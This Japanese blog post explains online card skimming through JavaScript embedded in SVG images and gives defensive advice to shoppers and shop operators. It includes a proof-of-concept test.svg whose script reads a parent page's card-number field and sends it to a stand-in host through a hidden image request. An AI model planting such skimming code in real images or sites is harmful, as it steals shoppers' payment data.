SVGに埋め込まれたJavaScriptでオンラインスキミング。対策は！？

こんばんは、お久しぶりになってしまいました。
最近Unicode6の顔絵文字にはまっています（笑）

さて、たまにはSEっぽい話題でも・・・ということで、
12/2にNHKで報道があったりもしたが、最近多いネット通販でのカード番号を盗まれてしまう手口に触れつつ、SVGのセキュリティ面の危険性に触れます。

買う側も売る側も気をつけましょうね！というお話です😣

オンラインスキミングとは？

スキミングはご存知の方が多いかと思います。
レジで支払うときにクレジットカードの番号が盗まれてしまうアレですね😥

それではオンラインスキミングとはなんでしょうか？
簡単ですね、リアルがネットになっただけです（笑）
ネットで買うときにカード番号を盗まれてしまうことです😱

手口は？

手口はいろいろありますが、基本的にはネット通販サイトで読み込まれているJavaScript等のプログラムを改ざんして、このどちらの方法で盗みます🤑

  • 本物そっくりな偽サイトに誘導してカード番号を入力させる
  • 本物のサイトから、裏でカード番号を横流しする

改ざんする手口自体もいろいろあり、詳しくは触れませんが人為的なものやシステム的なバグなどがあります。

SVGとは？

さて、ここでSVGの話です。

SVGはベクター形式の画像ですね😎！

・・・実はこれは半分しか正解ではありません。
もう半分が世界を勘違いさせる罠なのです。

SVGはブラウザで見るとリンクやJavaScriptを埋め込むこともできるのです😲

つまり、ただのアイコン画像だと思わせて、いろいろなサイトで画像を使ってもらいながら、
じつはJavaScriptを埋め込んで裏で悪いことをする・・・なんてこともできるのです。

対策方法はあるの？

あります。
通販サイトで買う人向け、売る人向けの対策をご紹介しますね😇

通販サイトで買う人向け

  1. カード番号を入れる前に、必ずサイトのドメインが本物か確認する！
  2. 少しでも日本語があやしいと思ったら買うのをやめる！
  3. 万が一盗まれた時のためにカードの使用履歴は定期的にチェックすること！

当たり前のことですが超重要です。
買う側にとってはJavaScriptやらSVGやらなんて知ったこっちゃないですよね。
知らぬ間に自分のカード番号が横流しされていた・・・なんてことはないように気をつけましょう😖

通販サイト運営者、開発者向け（特にCMS）

  1. 掲載するSVG画像には必ず<img>タグを使い、<object>タグは使わないこと！
  2. SVGを使用するときは信頼性の高いサイトの画像を使用すること！
  3. 画像アップロード機能はSVGをUPできないようにすること！
  4. できるだけContent-Security-Policyヘッダを指定して、コンテンツを読み込めるドメインを制限すること！

細かい部分ですけど、知らぬ間にお客様のカード番号をダダ漏らし😭していたことがないように気をつけましょう！

特に１と４は重要ですよ。
気になったら通販サイト開発ベンダー👩‍💻に確認してみてもよいと思います。

本当にSVGでオンラインスキミングってできるの？

できます。
それでは実験してみましょう。

実験用のページとSVG画像を用意しました。
カード番号入力フォームの下にある黒い●がSVG画像です。

test.html

<!DOCTYPE html>
<html>
	<body>	
		<form action="#">
			カード番号<input type="text" name="card_num" value="4111111111111111"><br>
			<input type="submit" value="注文"><br>
		</form>
		<object type="image/svg+xml" data="test.svg"></object>
	</body>
</html>

test.svg

<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
	<circle cx="16" cy="16" r="16" />
	<script>
		var p_document = window.parent.document;
		var input = p_document.getElementsByName("card_num")[0];

		input.form.onsubmit = function(){
		
			var card_num = input.value;
			var img = p_document.body.appendChild(p_document.createElement("img"));
			
			img.style.display = "none";
			img.src = "https://xxxxx/?card_num=" + card_num;
			
			alert(card_num);
			return false;
		};
	</script>	
</svg>

 

どうですか？御覧の通りSVGにはJavaScriptを埋めてあります。
カード番号の入力フォームから値を取得し、https://xxxxx/というURLに送信するコードですね。

ポイントは<object>タグでSVGを呼び出していることです。
<object>タグで呼び出すことで、SVGはiframeと同じような挙動をするようです。
つまり、<img>タグで呼び出せばJavaScriptは動かないから安全ということなのです。

では、実際に注文ボタンを押してみると・・・
この通りカード番号を取得するコードが動きました。
こんなSVGを気づかずに使っていたと思ったら恐ろしいですね😰

 

結論

  • カード決済をするときはあやしいところがないか十分に気をつけましょう。
  • 拾ったSVG画像を貼るときは必ず<img>タグをつかいましょう。

最低限、この２点、覚えておいてくださいね！

盗んだカードは最終的にはテロリストの資金源となってしまい、多くの人が不幸になります。
登場する人全員が注意する必要がありますので是非気を付けてください😣

 

それではまた